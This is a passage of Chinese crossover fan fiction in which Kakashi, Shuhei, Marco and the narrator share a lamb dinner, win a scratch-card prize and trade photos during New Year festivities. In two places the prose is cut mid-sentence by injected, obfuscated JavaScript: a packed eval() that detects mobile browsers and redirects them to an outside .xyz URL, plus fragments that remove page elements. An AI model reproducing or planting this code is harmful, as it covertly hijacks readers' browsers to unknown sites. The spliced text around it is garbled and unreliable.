太美味了,没有什么语言可以描绘出垂涎欲滴的鲜美。在醉生梦死的极致美味面前,折腾它们回家的劳顿奔波、每天外出牧羊的辛苦,一瞬间烟消云散、不值一提。 无所谓了,因为值得。 我只会感慨什么样的牧草,形成了什么样的羊。什么样的经历,会造就什么样的人。 果然。人是不可以“忘记那些过去”的,别说人了,连羊都做不到。 “……当地民风淳朴,当时告诉我需要额外购买牧草的时候,我还感到诧异,”卡卡西也说起类似的话,“直到我尝了一口羊肉,才了悟原来是我以小人之心度君子之腹了——这羊就得喂高档草药。” “不愧是你啊卡卡西,高见!”修兵竖起大拇指。 文学青年吃饭一贯斯文,但这么一小会儿功夫,他已经啃掉了小半条羊腿。 马尔科那里也卸掉了半条,他平日也是温文尔雅的姿态,今日也一改常态,暴风吸入。 镜头一调,又成了我进度慢:手笨,剥不了虾壳;嘴也笨,啃不好羊腿。 三人不约而同地放下了手里差事,一起帮我处理烤肉。分工合作就是最棒的—— “你别啃了,吃盘子里的,”修兵拿来空盘子乘肉。 “再给你弄个蘸碟?”卡卡西又递来一盘辣椒小料。 他照顾我多年,深谙调料之道,小料配得画龙点睛,好吃到不像话。我等马尔科替我撕开羊腿肉,装进盘子,迫不及待地开吃—— “大小姐,小心烫!”马尔科在一旁嘱咐。 “……”他说慢了一点,我已经被烫得吐舌头。 “喂!大小姐——”马尔科见了,又是一副兵荒马乱的模样,“你别吐舌头啊,真的很像小狗!” “哈哈哈!”卡卡西乐不可支,“修兵你看大小姐,哈哈哈!” “……”修兵轻轻地笑。 …… 不能怪我有如饕餮,怪只怪这羊肉太好吃了! 过去六七年间,我们家每年聚餐超过十五次,总共有个百次余,这还是有史以来第一次遇到聚餐不说话,集体闷头吃饭的情况。 能力者的食量不容小觑,烤全羊很快就只剩下一副骨架。 等羊肉汤的间隙,卡卡西冷不丁发问:“嘛,大家……是不是吃得差不多了?” “……”好熟悉的话语,我和修兵脩地一愣。 马尔科不明所以,认真问着:“有什么事?” 卡卡西神秘一笑:“当然是刮刮乐活动!” ——果然是刮刮乐!每年我们家的必备项目,今年也不例外。 这次卡卡西带回来一卷轴的刮刮乐。 我和修兵对这种事没什么兴趣,只有卡卡西不信邪,很喜欢刮。 “试试嘛?” 不和他一起玩,他会无聊。如果他希望的话,我们也可以一起刮一下。 “好吧,好吧。”我接了一沓,修兵一样。马尔科第一次玩,被热情地塞了一大堆。 “怎么玩?”马尔科问我。 我教他:“刮开,看看有没有动物,体型越大的动物奖励越好。” 这种东西隔三差五推陈出新,小奖的规则太多了,背后写着,我没必要解释,他自己看就好了,他读书那么厉害,看个规则当然不在话下。 马尔科琢磨了一下:“那我……就这么刮了?” “嗯。”我凑过去看他表演。 卡卡西却叫停他:“等下!我们一起!” “……”我都懒得吐槽他。 修兵斜他一眼:“还不认输呢,卡卡西?” “可恶!”他不认输,捏着拳头,燃起来了,“我是绝对不会认输的!” 我不认识卡卡西的迷妹——那位自称“旗木夫人”的小姐究竟知不知道,她的偶像男神非常邪门。 火影里的卡卡西“实力斐然,理性可靠”,是绝对。直到成为了家人,我才知道“可靠”背后的代价——世界上没有孤立的事件,不存在毫无缘由的事情,一切必然有迹可循。 譬如旗木卡卡西的“可靠”,其根本原因是他是个倒霉鬼。 我从来没有见过如此邪门的真人,运气差到了一定的境界,一个人究竟是怎么做到的?但凡卡卡西选中且买回的方便面必定没有调料包——这种离奇的极小概率事件,在我们家居然属于见怪不怪的日常。 他的离谱包括且不限于“盖帽一定会砸到我”“买鸡蛋随手拿一盒,能精准选中有臭蛋的一盒”“给第二天早上准备牛奶,进超市随手拿一件,那一瓶好巧不巧当晚就过期”“吃饭减免活动,能得到优惠的概率是99%,但很不巧,我们就是那个1%”——卡卡西不是故意,我们测试过了,他就是纯倒霉。 运气原本应该是一个平均数,一个人不可能在生活的方方面面都没有好运吧?理论上没有这种情况,可惜理论是理论,生活是生活。卡卡西这个人跟运气一丝都不沾边。 在他身上发生的离谱事件,别说我了,就连活了几百岁的修兵也没见过。 明明是卡卡西照顾我,而我们家的“生活”却全权交给修兵来管,这件事能发生自然有内在的逻辑和道理。要说卡卡西的“邪门”,我和修兵面面相觑,只剩下无奈。唯有卡卡西不认命,还在挣扎。 他咬着牙:“这次我一定能刮出来!” 我早已劝过他住口,不要立Flag,也在他失败以后安慰他“一等奖很难,我和修兵也没中”。 修兵也劝他别再耿耿于怀,伤身体,刮刮乐是消遣,他怎么还较上劲了? “……”他不要,他犟得很。 我和修兵没有办法,劝不住,陪他吧。每年都有保留活动刮刮乐,这么多年下来已经习惯成自然。 “上次聚餐,卡卡西不是跟你讲过他抽奖万分之一的概率但一直没有中过吗?”修兵告诉马尔科,“这事是真的,我们认识至今,卡卡西从来没有中过奖。” 上次聚餐,修兵没有告诉马尔科这些话,一方面因为电话频频,太忙;另一方面,初来乍到的马尔科需要的是“震撼”,而不是“真相”。 当他担心孤身潜入的卡卡西有可能像他过去那位兄弟一样不能折返,他需要有人告诉他“两个世界不一样,这里没有剧本,万分之一就是万分之一,无需因为小概率事件而忧虑”,而不是“的确有这种可能”。 表达是一种艺术,隶属于文学的一种。 在特定的情形下,有选择地隐瞒一部分真相并非“撒谎”。 “……真相是他运气很差,万分之一的概率其实并不小,中个十块二十块的安慰奖易如反掌。” “喂……”被拆台的卡卡西瞪圆了眼。 “你的确有点太倒霉了。”修兵坚持说。 马尔科饶有兴致地听,修兵更多说了几句:“不过他自己运气背,但可以给别人带来好运。” “是吗?!” “嗯,”修兵放下了筷子,“他真的很邪门,我和大小姐怀疑卡卡西有魔法。” “是的!”我也肯定这件事,“卡卡西会魔法!会让别人变得很好运!” “……”马尔科半张着嘴,一副愿闻其详的姿态。 “你之前运气怎么样?”我问马尔科,“属于好运的那种人吗?” “呃,那要看哪方面,”他给出了一个让我意外的回答,“抽奖什么的……倒没中过奖,不过要说恶魔果实的话——” “果实怎么了?”卡卡西正襟危坐。 “啊?没什么,我的果实非常稀有,”马尔科道,“听说大海上许多人趋之若鹜,但它偏偏到了我的手上……之前我一直被说运气好,一张嘴天上落下个鸡蛋什么的,简直是奇迹啊!” 一如他所言,恶魔果实意味着能力,在弱肉强食的世界里,能力等同于财富,自然备受推崇。 某种意义上来说,的确是暗暗果实的出现诱发了白胡子海贼团的惨剧。 可是有关过去,他可以提,我们却不可以。 即便他说的是“踏破铁鞋无觅处,得来全不费工夫”,屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600979|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里也略微沉默了一阵。静谧里,唯有热烈的炉火烧得汤锅咕噜作响。 “……要说奇迹的话,你提前来这里也算是奇迹了。”修兵忽然说道。 “是吗?” “是的,在此之前,这个世界只有卡卡西一个人有提前到来的经历。而且和你的情况也不一样。”我肯定道,问卡卡西,“办事处有新的说法吗?” “没有,”他低头刮了张刮刮乐,明显没中,眉头不由地紧了紧。 “……办事处的结论恐怕要等海贼剧组完全散场才能知晓,现在上报的名义是‘不死鸟果实的特异性’,也不能查证,先这样吧。” 卡卡西有一茬没一茬地接着话,心思分明不在此处。眼看他身边堆叠的刮刮乐越来越多,手上刮奖的动作却越来越暴躁,我和修兵了然于胸。 只有马尔科不懂,认真问着:“怎么了,没中吗?” “没中……可恶,到底是谁在中啊!” 卡卡西咬牙切齿,看向我—— 我正襟危坐。不是我。我看向修兵。 修兵也正襟危坐。也不是他,他看向马尔科。 马尔科推了下眼镜,一脸费解:“……你们刚刚说动物?” 他不寻常的姿态好像预示着点什么,我探头过去看,他却遮住了不让我看。 “动物怎么分啊?” “分水生组和陆生组,”卡卡西解释,“水生组的奖金大于陆生组,整体遵循体型原则。” 马尔科似懂非懂地点着头,缓缓掏出一张:“我好像刮到一张猫?” “猫?”卡卡西接过了,只一瞬,惊呼道,“什么猫,这是老虎!” “我看看!”修兵连忙接过了,我也凑上去观摩。 是老虎,虽然是一个猫猫头,但脑门上赫然标注着一个“王”字。 陆生组最大的动物是象,一等奖,会有金色边框;然后是二等奖“狮、虎、豹”,马尔科这是刮出了陆生组二等奖的“老虎”! “——哇!马尔科!”卡卡西惊得话都说不清楚,“我第一次见到奖!” “啊,哈哈,是吗?”马尔科反应平平,“我还有一张。” 他迎着所有人的目光,施施然再拿出一张刮刮乐。十六字的奖区,他只刮开了一个小口,就只有十六分之一的概率,上面却赫然出现了一条鱼。 世界上体型最大的动物是鲸鱼。 若是鲸鱼,则是水生组的一等奖,会有金色的边框;他这个没有边框,我不认识,交给卡卡西认定:“啊!是海豚!” “海豚是几等奖?” “二等奖,一百万!” “!” 沉默震耳欲聋。 “啊!!!!!!!!” “啊啊啊!!!!” “马尔科真有你的!!!” “啊!!!!” …… 我也没有想到今年的年关会变成这样。 修兵有稿件写了,可以紧急采访“福利刮刮乐二等奖得主”,询问其中奖感言,介绍福利刮刮乐体系—— 办事处的福利刮刮乐只作用于管理员的任务奖金,并不对外发售,纯属内部循环,要说中奖——所有管理员都知道有中奖概率,知道水生组、陆生组、体型越大奖项越大,但对“中奖”本身鲜有耳闻。 这涉及到了刮刮乐的组成。 但凡管理员完成任务,将自动扣除任务金额的百分之二购买刮刮乐。而对于高级别的管理员来说,一年要完成的指标是一百万,自动购买一万张刮刮乐。 就我们家的经验而言,刮一张刮刮乐是希望;刮十张刮刮乐是快乐;刮一百张刮刮乐姑且还能算作游戏;但当刮一千张刮刮乐时,刮刮乐和上班已经并无二致;更别提是一万张刮刮乐…… 刮刮乐中大奖概率千万分之一,奖金千万到十万不等;安慰奖万分之一,奖金十块到一百不等;若纯粹为了奖金,刮一万张刮刮乐不会带来快乐,只会带来一年一度的痛不欲生。 所以刮刮乐从来是余兴节目: 购买基数大的,都是排外靠前的管理员,但因为手上刮刮乐数量太多,一般没有会管理员会一张张地刮,不刮自然也不会去兑换;而排外靠后的管理员乐于刮奖,一年手上却没有太多,中奖概率极小。 我们家情况特殊,卡卡西喜欢参加考验运气的活动,每年都会领取回来,作为我们家的保留节目。 过去六年,我们一共刮了超过十万张,却没有中过一次大奖。卡卡西手里连“安慰”都没有,只有我和修兵手上能零碎兑换些“额外收益”。 今天太过例外。 这不是幸运,这是奇迹! 修兵要赶紧写稿、卡卡西要把剩下一万多张刮刮乐都刮开——他邪门至极,偏偏不信邪,年年都要自我挑战。今天更多一个自我挑战的理由:万一刮出其他图案,正好给修兵作写作素材。 客厅里忽然只剩下我和马尔科两个。 烤全羊吃完了,还剩下一锅热腾腾的羊肉汤。我裹着辣椒面,大快朵颐。 马尔科帮我涮肉,人坐在我身边,偶尔显出了几分不知所措。 这让我诧异。秋去冬来不过短短三个月,可这三个月的相处里,我以为马尔科理应适应了这里。 这里是他的家,我是他的家人,他不应该不自在? 但人在不知所措的时候会有一些多余的肢体动作,我见他三番两次莫名其妙地把袖子撸了起来。天气好冷,我又给他撸了回去。 他看着我,不语而笑。 “怎么了吗?”我放下了筷子。 “啊?”马尔科微微一怔,猛摇头,“没有啊!” “好吧。”如果没有,我要继续吃饭了。 他却又笑起来,笑得眼睛粘合不见:“羊肉汤好吃吗,大小姐?” 开什么玩笑,那可是羊肉汤! 我不假思索:“好吃啊!” “这是我……第一次赚钱,”他油然说起,“赚钱真不容易,还是抢比较容易。” 我瞬间警觉:“马尔科,你不要危险发言!这里不可以抢东西!” “没有啦,我只是感慨一下,”他拍拍我的头,仍笑着,莫名欢愉着,把肉都往我碗里夹,“虽然抢东西很容易,但请大小姐吃羊肉汤的话,还是自己赚来的钱更让人满足。” “你说‘真的’!你没有骗我!” “真的,”他对我承诺,“怎么可能骗你啊?我哪有那胆子……” 我低着头吃肉,没有听到他嘀嘀咕咕说什么。 等我吃完一碗肉再去问他,他自己都忘记了。 “好吃吗?”马尔科只是问我。 “好吃。”我放下筷子,把手塞到他手心里,“你看,一点也不冷!” “哈哈——那你多吃点。” 他不是要去抢东西的意思,我如释重负。 我也对他承诺:“我会全部吃光!一滴汤都不剩!” 羊肉汤就是最棒的! 虽然冬天还没有彻底过去,但我单方面宣布,春天来了! 39.17 玫瑰(1) 除了我的眼睛里,春天也在别处。 热闹的早市中,喧哗的人群里,屋檐坠地的冰晶、树梢零星的绿芽……极目望去,真诚找寻,四处都有春天的踪迹。 春节当天,我和马尔科在家守夜。 我们没有预定上文化中心的市民观赏名额,只能守在电视机前,试图从直播里寻找卡卡西的身影——很遗憾,没能找到;但听说大年初一,修兵会在市中心广场主持活动,初一中午吃完饭,我们偷偷溜去了市中心广场,试图偶遇修兵。 “市民朋友们,很感谢大家在过去一年里对我们杂志社的支持。新年第一天,我们会现场征集朋友们的新年愿望,参加活动会有赠礼哦!” 主持人慨慷激昂,台下群情激愤。 活动由杂志社旗下六个编辑部共同举办,赞助商囊括本地各大商铺,广场全部摊位,礼品颇多。 “你参加吗?”我问马尔科,“礼物里有修兵的签名照。” “签名照?” “嗯……” 年前我去修兵房间溜达,看到文学编辑部这头提交的“备礼清单”里有修兵的签名照片。无独有偶,时尚板块也准备了同样的礼物——是明星主编“修兵老师”上班的抓拍,我们家没有底片。 “你想要吗?”马尔科问我。 “……”我欲言又止。 我想要,我并不在编辑部上班,极少见到修兵上班的模样。时尚板块的同事很会拍照,把修兵拍得非常帅气。我想收藏一张,夹进我的小本本里。 但收藏就得参加活动……说实话,人好多,我在退却。 我把头轻轻别过去了,尚在天人交战。马尔科却笑着拽起了我的胳膊,强迫我举手。 “这里这里,选这里!” 现场人山人海,参与活动者数不胜数,但报名和主持人互动的却寥寥无几。 马尔科一开口,震耳欲聋。 主持人的注意力被吸引过来,她从台中走到台前,拜她所赐,我终于在角落里的位置见到了修兵的身影——他也看见了我,平静的面色油然流露出了震惊和慌乱。 台上主持人问着:“小姐,您要参加活动吗,那您的新年愿望是什么呢?” 修兵现在迈开长腿往台前赶,已经来不及了。工作人员把话筒递了过来,马尔科把它凑到我嘴边。 “说吧,大小姐,”他示意我说出口。 “……”有点困难,人好多,我捧着话筒,深吸了一口气,认真回答,“想要修兵老师的签名照片。” “——噢!”主持人会意地笑,“原来是修兵老师的粉丝啊!刚好修兵老师也在,要说点什么吗修兵老师?” 修兵老师已经到了,这下迫不得已走上前台。 天气清冷,他穿着一身西装,带着平光镜,神色严肃仍有冬季余冽,但一身孑然傲骨又不失文质彬彬。 “……奖品必须要抽奖才能得,很抱歉。”修兵老师开口,话语冰冷如初。 不愧是我认识的修兵老师,我点着头,听着主持人打圆场“修兵老师,通融一下嘛,这可是一位可爱美丽的小姐新年第一天的愿望”—— “很抱歉,”修兵面色不改,坚持道,“同事只制作了二十套,没有多余的份额。” 有且只有二十套,全部都已经进入奖池了。所以很遗憾,修兵也没有办法,即便是他本人的签名照片也只能通过抽奖这一种方式获得。 没有办法就是没有办法。无论主持人怎样圆场,修兵老师一口咬定“无法通融”。 “修兵老师……” 第一电视台的主持人小姐拜托他了,我们是第一个举手发言的观众,他这样固执己见会让现场直播变得很尴尬。 “抱歉,”修兵抄着手,面色不改,“奖池里的物品只能抽奖。” “通融一下嘛,修兵老师!”主持人小姐面露难色。 马尔科连忙举手:“啊,小姐,我可以报名吗?!” “……当然!”主持人欣然,“你们是一起的吧?这位先生,请问您的新春愿望是——” “希望家人们平安快乐,我们家的大小姐愿望成真,”马尔科摸了摸我的头,对台上说着,“我也是修兵老师的粉丝,如果可以的话,可以请修兵老师跟我们合个影吗?” “——修兵老师,这点小小的新年愿望可以的吧?”主持人生怕他不答应。 电视台特遣的主持人并不了解修兵老师,我们家修兵老师不会不答应。 风猎猎地吹过。所有人都在寒风里闭眼,只有修兵趁着风起,不经意地勾了勾唇角。 那笑意只在风里绽放。风一歇,他神色淡然,肃穆如初。 “……真是的,”他喃喃自语,麦克风将他的声音传递过来,勉为其难的腔调,“那就合张影吧。” …… 虽然我没有得到《修兵老师工作写真集》,但我拿到了独一无二的《修兵老师与粉丝合拍》原图,还附上了签名。 也很不错,我美滋滋地发到了群里。 修兵并不参与广场上的活动,只不过瞧见了我们,才过来看看。下午他要去商场五楼组织文学板块的作者签售会;晚上也要代表编辑部接待诸位作者一起吃饭。 他有工作,工作优先,无暇顾及我们。 同应在工作的卡卡西却突然在群里冒泡:“?” “?”我也问他,“抓到了!你在摸鱼!” “哈哈,被抓到了,我在摸鱼~”卡卡西偷拍了他在走道里等待的画面,“你们去广场玩了?” “嗯!” “广场好啊,晚上会有烟花秀,”卡卡西高谈阔论,“马尔科,直接买三楼观景台的门票,那里人少,门票算我的——” “那就不客气了。”马尔科当场下单。 烟花秀在晚上九点,时日尚早,我和马尔科要先在广场上等活动结束,参与最后的大抽奖。 抽奖转盘前面排起了长龙,马尔科把我藏在羽绒服里,帮我举着手机,我探头和卡卡西讲:“马上轮到我们抽奖了。快对我们使用好运魔法,卡卡西!” “抽奖?”卡卡西都不问抽什么奖,瞬间来了精神,“好运加持!要中啊大小姐!” “……”糟了,他要这么说,我觉得中不了。 我这人没什么运气,我已经委托马尔科全权代抽了。 他祝福我有什么用?我感觉不妙。 “糟了,”马尔科也说,“大小姐,最后一套签名照片被抽走了!” “啊!” 命运弄人。眼看着还差几位就能轮到我们大展身手,怎么偏偏这时候修兵老师的签名照被抽光了? 即便马尔科运气很好,我们也只抽到了二十张全场小吃代餐券、两颗豪华冰淇淋套餐、一顿汉堡大餐…… “怎么都是吃的?”卡卡西发出了质疑的声音,“都没点别的纪念品吗?” “也不错,晚上就在这里吃饭了,”马尔科答,“可惜现在大小姐都没有想吃饭的心思。” “大小姐怎么了?” “伤心了,”马尔科抱着我,轻轻拍着我的头,“她没有抽到想要的礼品。” 这种说法太新鲜了。卡卡西惊讶不已:“真的假的……大小姐居然有想要的东西?是什么?!” “修兵老师的限量版签名照!”马尔科一番解释,卡卡西乐得合不拢嘴。 “马尔科,你们抽中了吗?”修兵也开始摸鱼,突然加入群聊。 “没有,还没轮到我们抽奖就告罄了……”马尔科不厌其烦地多解释了一回,“现在Emo了,看吧,大小姐都不吭声。” 他顺手打开视频,给他们展示广场盛况—— 抽奖队伍漫长无边际,四周都是提供年货小吃的商铺。我们手里握着足够畅行无阻的代餐券,但我却躲在马尔科羽绒服里,不肯探头。 是的,我在Emo,天气好冷,抽不到修兵的签名照,人也好冷。 我抱着马尔科,在取暖。 “……你真是,想要周边怎么不早点跟我说?”事已至此,修兵骂骂咧咧说我几句。 “哈哈哈,行了修兵,这也没办法,”卡卡西笑着,“大小姐多半是临时起意,你们那么默契,她要是早想要,你一定早知道了。” 卡卡西所言在理,他很了解我,的确是临时起意。 从前我并没有收集周边的爱好,年前见了也只觉得编辑部同事们把修兵拍得很帅气。今天来了现场,发现修兵签完字后,照片又装入了密封袋,制作了全新的包装,且永久限量二十套,底片会销毁—— 然后我当即、立刻、马上想要永久地收集一份。 “……她不早点说,现在已经投入了奖池,中奖率公式在大屏幕上,我没有办法捞出来给她。” “哈哈,就算大小姐早告诉你了,你也没办法,”卡卡西讲,他很了解我,也很了解修兵,“同事偷拍的照片,你能去找人多要一套吗?” “……”修兵瞬间闭麦。 酷哥之所以酷,是因为酷而不自知。 倘若他知道自己很酷,时常搔首弄姿,展露自恋倾向——那就不是酷哥,而是油腻大叔。 修兵不会去问同事要自己的物料周边。因为从未有过这念头,才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655535|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不到给我留一份。 “真是的,大小姐,你在听吗?” “嗯……” “好了,你别哼哼唧唧的,我想办法。” “哈哈哈,你也别着急啊,修兵,难得大小姐有想要的东西——” “是啊,”他回答卡卡西语调平静,一和我说就不自觉加重了音量,显得很是暴躁,“难得她有想要的东西,怎么也得给她弄一套啊——但我这边脱不开身。” “不用麻烦,你忙你的,”卡卡西主动请缨,“这简单,我现在空,我来搞定。” 山人自有妙计。 卡卡西并没有告诉我们他有什么办法,只让我们等,一个钟头后,数不胜数的照片被他施施然发在了群里,全是修兵在工作的模样,不仅我没有见过,连修兵自己都没有—— “你哪里来的?”他还问卡卡西。 “问你同事要的啊,”卡卡西讲,“每次球赛,你们编辑部的同事都会加我好友——” 他们的手机都有双端操作系统,一端能切入管理员创建的“空间群聊”,另一端等同于正常手机,可以像普通人一样创建社交账号,添加朋友,发朋友圈。 修兵要上班、卡卡西要工作,都有自己的社交账号。 卡卡西甚至有两个—— 一个对接办事处的工作,作为“旗木卡卡西”本人在办事处登记的正式社交号;另一个生活号,作为“修兵的家属”,活跃于日常生活里。 修兵不方便讨要的,卡卡西方便。 社交达人一出马,区区照片,手到擒来。 “大小姐看中哪张?你选,选好了我们自费制作周边,让修兵签名不就好了?” 不愧是拥有迷妹的人!说起周边,我和修兵束手无策,卡卡西却很会。他甚至建议:“修兵这个Q版头像挺好,你们要钥匙链吗?我们集体做一批,一起给修兵老师打Call!” “卡卡西,你够了!”修兵恼羞成怒。 “这不是挺好吗?我也要一个,”马尔科煽风点火。 我也觉得这个思路好,忙道:“卡卡西,你的迷妹给你做Q版头像了吗?也选几个,一起做钥匙链吧!” “哈?我?”卡卡西愣了愣,“我就算了吧……” “为什么?”我不理解,“钥匙链上不是可以挂好几个头像吗?我们家挂一串不好吗?” “好当然好,但是……”卡卡西欲言又止。 我们认识六年有余,卡卡西极少有欲言又止的时候。这种表现极为反常,那我大概明白了个中原委。 卡卡西不是E人,只是矮子里面选将军,I人之家里相对最E的那个。他有两个社交账号,私下不和同事来往,让他去找迷妹要自己的头像……也属实有点为难了他。 “……”卡卡西闭麦了。 “我有——”修兵突然开口。 礼尚往来,区区照片,修兵连发三十张,全是我们从没见过的卡卡西工作照,穿办事处制服那种。 “?”卡卡西也惊了,“你哪儿来的?” “我的社交账号上推送了‘可能认识的人’,那位‘旗木夫人’投过稿,申请加我好友。” “你通过了?” “当然。” …… 大年初一,据说他们都有工作,据说他们都很忙。但聊着聊着,群里忽然开始照片大战。 我和马尔科坐在棚子里赏味烤鱿鱼的功夫,足足收获了三百张照片。 什么叫“鹬蚌相争,渔翁得利”? 这就是了。 起初我只是想要一张修兵的限量款签名照,但事情发展到最后……我的老古董手机已经储存不下了,无聊但有趣的照片大战却仍然没有停止的意思。 “怎么办?”我问马尔科。 我的意思是,我的手机内存不够,但照片都很好,我都想要,所以可不可以帮我保存一下? 可惜马尔科不是修兵,也不是卡卡西,没能理解我的意思。他想了想,回答我:“我试试。” “什么?”我也没能理解到他的意思。 只见他掏出手机,在群里询问了一句:“你们平常在手机里保存这么多对方的照片吗?” 马尔科真会说话,群里顿时鸦雀无声。 照片战争停止了。 我的手机屏幕上同时弹出两条一模一样的私聊消息。 卡卡西和修兵异口同声:“没有的事。” ——那就是有了。 “我不信,”我一一回复,“除非照片发我。” “没问题,”两个聊天窗口再次异口同声。 40.17 玫瑰(2) 事实证明,调皮也是一种学问。 譬如在我手机已经没有储存空间的前提下不应该调皮这一下,这一下并不会显得很机智,当海量的照片雨一度把我的老古董折腾得自动关机,皮这一下,只让我显得笨拙不堪。 “先别发了,大小姐的手机崩溃了,”马尔科实时转述。 “照片居然有这么多吗?”我探头加入马尔科这头的群聊。 “哈哈,就是特别多啊,”卡卡西承认,“我加了修兵六个同事,每次活动,六个人各出一套照片……这还只是去年我搜刮来的照片,前些年的早就打包存档了,手机根本存不下。” “差不多,”修兵也说,“‘旗木夫人’每天晚上都发朋友圈,每天上传九张卡卡西的照片……我看到不错的会随时存一存,一不留神,相册里全是卡卡西。” “……”我还以为只有我存在苦恼,原来大家都一样。 我蹙着眉,靠在马尔科肩头。他抬手摸了摸我,以示安慰。 “不是有共享相册吗?我们买一个家庭版好了,”马尔科倾情建议,“前阵子学校有活动,原价一年一千,学生价,三年才八百块。” “这么便宜!”财务总管带头惊叹。 “买!”执行大臣盖棺定论。 学校真是个好地方。八百块买不了吃亏、买不了上当。 下一秒,马尔科出资,共享相册开启。卡卡西和修兵瞬间开始上传轰轰烈烈的照片雨。 我的手机不具备管理员系统之外的功能,没有办法打开共享相册,我用马尔科的手机观瞻。 他去取冰淇淋球,手机留给我操作。我不太懂,按照卡卡西教我的经验,所有的弹框都点“同意”…… 不多时,我们家的群“相亲相爱一家人”开始传出质疑的声音。 卡卡西:“?” 修兵:“?” 我不理解,也发:“?” 为了保持队形,我甚至用马尔科的手机代他发:“?” “——好你个马尔科,”卡卡西一改常态地发起了表情包,“是家人吗?好东西不分享,自己偷偷欣赏?” “好东西要多分享,”修兵也说。 “收藏了。” “收藏了。” 两人异口同声。 “?”我更不理解了,“什么分享?你们在说什么?” 他们不说,直到我点名要修兵解释,修兵才发了一张截图,图上是我睡觉流口水的超近距离写真,来源“马尔科”。 “!” 这是什么卡卡西行为! 这是马尔科吗?我不敢相信,怎么我睡觉流口水他也拍?! 这下可好,马尔科的手机自动上传了相册,我的丑照悉数上传,全方位无死角,一览无余。 我要生气了!眼看马尔科带着冰淇淋球回来,我沉着脸,开始生气。 “马尔科!” “嗯?” “你拍我丑照!” “哈?”他接过手机疑惑了好一阵子,回神却笑,“我没有,这不挺可爱的吗?” ——这是什么卡卡西发言!颠倒黑白! 我一句也听不下去:“没有可爱,只有丑!好丑好丑!” 他也坚持:“不丑,这很可爱!” 他跟我争辩,托着手机,一张张翻阅他的相册—— 起初几张差强人意,他刚拿到手机,不会拍,可以理解,虽然画面构成毫无讲究,但我在镜头里姑且是正襟危坐的模样; 然而到了试课期间,我的形象忽然变成低头看小说、歪头看小说、托着下巴看小说,只有数不尽的侧脸,窗外风景更换,我看小说的姿态自岿然不改; 再等到正式上课,我在镜头里只剩下一望无际的吃早饭、吃午饭、吃晚饭; 最近放寒假,照片更离谱,全是特写我在睡觉! 并不是所有的刻板印象都有“例外”,譬如“拍照”这件事就没有。 ——不要指望男士们的拍照水准!在我这里,这几乎是一条血泪的铁律。 修兵可以例外,身为主编、作过记者,深谙时尚之道,也参与培训,他很会拍照。但修兵之外的任何男士都不可信—— 我已经经历过卡卡西这例“前车之鉴”: 卡卡西酷爱抓拍。再正常的人,一经他手,也会变得奇形怪状。连修兵这种级别的酷哥,都会变成一只“咆哮恐龙”,卡卡西的实力可见一斑。 我在他手下时而是巨人、时而是侏儒;时而是长腿怪、时而是长手族……他的审美使我费解,而马尔科竟丝毫不逊色,技术比当初的卡卡西还要糟糕。 生活照不是不能拍,但不能全采用同一个视角——他两米出头的个子,我才一米六多一点,一米六绝对不算矮,但他执着于俯拍的话,我就会变成一个不折不扣的“小矮子”。 我以为给卡卡西报名参加《摄影培训》,我在照片里就可以回归正常,没想到千算万算,没算到青出于蓝胜于蓝,家里又出了个马尔科。 过度的俯拍也会造成形变,小矮子也就罢了,更多的时候,我在他镜头里是一个大头娃娃。 “……好丑好丑!”我控诉马尔科的恶行。 “没有丑啊?”他不以为然,一本正经答我,“真的很可爱!” 这不可爱,我要被丑哭了! 我争不过他,罢了,不和他争,索性拍照发群里,让大家一起来评理。 马尔科手机的自动同步,在被我发现后已紧急截停。修兵和卡卡西只见到新年期间的怼脸特写,没见到诸多胜景,直到我拍照发群里,“收藏”的风气戛然而止。 两人在群里连发了一串省略号,对于我的无言以对,他们已然感同身受。 “……你这拍的什么?”修兵不解。 “哈哈哈,天呐,怎么把大小姐拍成这样,”卡卡西乐不可支,“忽然理解了当初的你们,哈哈哈哈!” “这有问题吗?”马尔科摸不着头脑。 “问题很大,”卡卡西解释,“我发两张照片,你对比看看。” 始作俑者居然还保存着当初的杰作。 卡卡西迅速丢了两张上来:第一张里,我是一团没有人形的残影,我是光,是艺术、是朦胧、是哥特,唯独不是我自己;第二张是接受审美特训以后的成果,没有那么多绚丽的技巧,只有在公园里吃冰棍的我,光洒在我脸上,我不是光,我就是我。 艺术是一种不能言喻的东西。有无之间,天差地别。 他真的拍的很丑! 事实胜于雄辩,不用说了,马尔科见了大为震撼。 “——感觉到了差别吗马尔科?镜头语言是很有讲究的,你之所以拍出来好看,是因为我们家大小姐足够漂亮,都禁得住这种死亡镜头!” “呃……好像是的。”差距太明显,马尔科自己都笑。 “去报个班吧马尔科,我出资。小问题。卡卡西报班以后就好了。” 修兵也发了几张。他技术高超,登峰造极。平平无奇的生活照在他手下像极了精心雕琢的写真集——然而这只是我们刚认识时,他随手抓拍的冰山一角而已。如今几年过去,论技巧,更是今非昔比。 人对艺术和美的感悟能力是一种人文因素的“天赋”。修兵有,卡卡西和马尔科都不太有。 这很正常,和卡卡西和马尔科会杀羊会种地,而我和修兵却不会一样,不过是尺有所短寸有所长而已。我也并非计较马尔科没有艺术力,而是控诉马尔科过往可以不究,未来不许变本加厉! “你把我拍得好丑好丑!不许拍那么丑!” 我警告他以后不许再拍我丑照!丑得我都要哭了! “对不起,大小姐。我知道错了,会改的。” 马尔科诚恳认错,说改就改。 